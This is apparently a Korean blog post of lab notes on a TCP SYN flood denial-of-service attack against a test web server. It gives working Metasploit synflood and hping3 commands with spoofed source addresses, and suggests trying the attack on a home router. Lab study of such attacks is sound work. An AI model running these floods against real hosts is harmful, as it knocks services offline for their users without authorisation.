본문 바로가기

Learning/└◆Network Hacking

Transport Layer TCP Syn Flooding [TCP/IP Model]

 

Transport Layer(TCP/UDP)

 

TCP Syn Flooding

 

 

TCP Syn Flooding 공격

 

 

사용시스템

- KaliLinux(Attacker)

- linux200(Web Server)

- windows2008(Web Client)

 

 

TCP Syn Flooding 공격의 동작 원리

 

Flooding 용어?

- Flooding Attack: ICMP flooding, UDP flooding, TCP flooding, HTTP flooding, ....

 

 

 

 

 

 

1. 공격시나리오1(웹서버 공격하기)

 

(linux200)

linux200 서버에서 웹서버 구축

웹서버를 기동한다.

# pgrep -lf httpd

# service httpd restart

# chkconfig httpd on

 

웹페이지를 구성한다.

# cd /var/www/html

# mkdir -p test

# echo 'Syn Flooding Test Page' > /var/www/html/test/index.html

# firefox http://192.168.20.200/test

-> 확인 후 firefox 종료

 

 

(win2008)

windows 2008 서버에서 웹페이지로 웹서버 페이지 확인

웹서버에 접속한다.

http://192.168.20.200

http://192.168.20.200/test

 

 

(KaliLinux)

패킷 분석을 위한 wireshark 실행

# wireshark &

 

msfconsole 실행을 위한 postgresql 실행

 

[참고] postgresql 기동 중인지 확인하는 방법

# service postgresql status

# netstat -antp | grep :5432

# nmap -p 5432 -sV localhost

# msfconsole

msf > db_status

 

# netstat -antp | grep :5432 (# nmap localhost)

-> postgresql 서비스 동작 중인지 점검

 

[참고] 서비스 기동 방법 비교

(redhat 계열)   (부팅) # chkconfig postgresql on

(현재) # service postgresql start

(debian 계열)   (부팅) # update-rc.d postgresql enable

(현재) # service postgresql start

 

# service postgresql start

 

 

msfconsole 실행

# msfconsole

 

 

 

wireshark 사용하여 패킷 분석

 

Src는 존재하지 않는 주소 Dest는 타겟과 동일

임의에 번호를 Dest의 80포트로 지속적으로 syn신호를 보낸다.

 

wireshark 화면을 보면서 확인한다.(잠시기다린다.)

 

웹클라이언트(windows 2008)에서 웹서버(linux200) 접속한 페이지 확인

 

전에는 웹접속이 되었는데

접속이 되지 않는다.

Syn Flooding 공격 성공

 

페이지에 접속이 가능.

index 소스가 간단, 공격자의 공격속도가 느림

 

-----------------------------------------------------------------------------

Metasploit 작업 오류시.

 

RedHat)

# rpm -qf /usr/bin/ls

# rpm -ql <Pakage>

 

Debian)

# dpkg -S /bin/ls

# dpkg -L <pakage>

 

Metasploit Update 작업

# cd /usr/share/metasploit-framework

# ls

msfupdate

# dpkg -S /usr/share/metasploit-framework/msfupdate

metasploit-framework

# dpkg -L metasploit-framework

 

 

 

# cd /usr/share/metasploit-framework/ ; ls

# msfupdate

or

# apt-get update

# apt-get install metasploit-framework

 

(RedHat)

# yum check-update

# yum -y update

# yum -y install <PKG>

 

(Debian)

# apt-get update

# apt-get -y upgrade

# apt-get -y dist-upgrade

# apt-get -y install <PKG> or # apt-get -y upgrade <PKG>

 

혹은 네트워크 설정 확인.

# vi /etc/network/interfaces

-------------------------------------------------------------------------------

 

 

!!! Syn Flooding 작업이 성공 되지 않았다면 이유가 무엇인가? !!!

 

 

Syn flooding 공격 중지

(KaliLinux)

msf auxiliary(synflood) > exploit

 

[*] SYN flooding 192.168.20.200:80...

^C[-] Auxiliary interrupted by the console user <---- <CTRL + C>

[*] Auxiliary module execution completed

 

 

[참고] hping3 명령어 사용

# hping3 -c 2 -S 192.168.20.200

# hping3 -c 2 --flood -a 192.168.20.205 -S 192.168.20.200

 

 

 

 

 

 

 

 

2. 공격시나리오2(라우터공격하기)

 

- 라우터에는 관리용 페이지가 존재한다.

- 집에서는 공유기 페이지를 가지고 테스트 하면 된다.

 

 

 

3. synflood.rb 파일 분석

 

(KaliLinux)

 

"msf > use auxiliary/dos/tcp/synflood"

"/usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb"

 

# cd /usr/share/metasploit-framework/

# ls

Gemfile data msfcli msfencode msfrop msfvenom vendor

Gemfile.lock lib msfconsole msfmachscan msfrpc plugins

Rakefile modules msfd msfpayload msfrpcd scripts        코드의 가장 상단 디렉토리

build_rev.txt msfbinscan msfelfscan msfpescan msfupdate tools

 

# cd modules/auxiliary/dos/tcp

# ls

junos_tcp_opt.rb synflood.rb

 

# vi synflood.rb

msconsole -> synflood 실행시출력 되는 중요한 메세지 체크

 

 

 

 

 

 

 

3. 공격시나리오3

 

hping3 명령어를 사용하여 Syn Flooding Attack 수행한다.

만약 타켓(공격당하는 시스템)이 윈도우라면 윈도우 TCPview 같은 프로그램을 통해 확인 또는

netstat 명령어를 통해 확인

wireshark 통해 분석한다.(출발지 IP(spoofed ip)를 확인해야 한다.)

netstat 명령어를 통해 확인한다.

 

# hping3 --syn -a 10.10.10.10 -i u1000 -p 80 192.168.20.200

(keypoint) -a => Fake source ip address (spoofed source ip)

 

-S --syn set SYN flag

-a --spoof spoof source address

-i --interval wait (uX for X microseconds, for example -i u1000)

-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec

 

 

참고 URL

- http://www.youtube.com/watch?v=aJ9syL4S7yE

 

 

 

 

[!]Linux200 으로 TCP syn Flooding 공격 (msconsole 사용하지 않고 hping3 사용)

 

-S : TCP Syn flag

-a : spoof source address

-i : interval (u1: 1microseconds)

-p : port number

 

# hping3 -S -a 13.13.10.1 -i u1 -p 80 192.168.20.201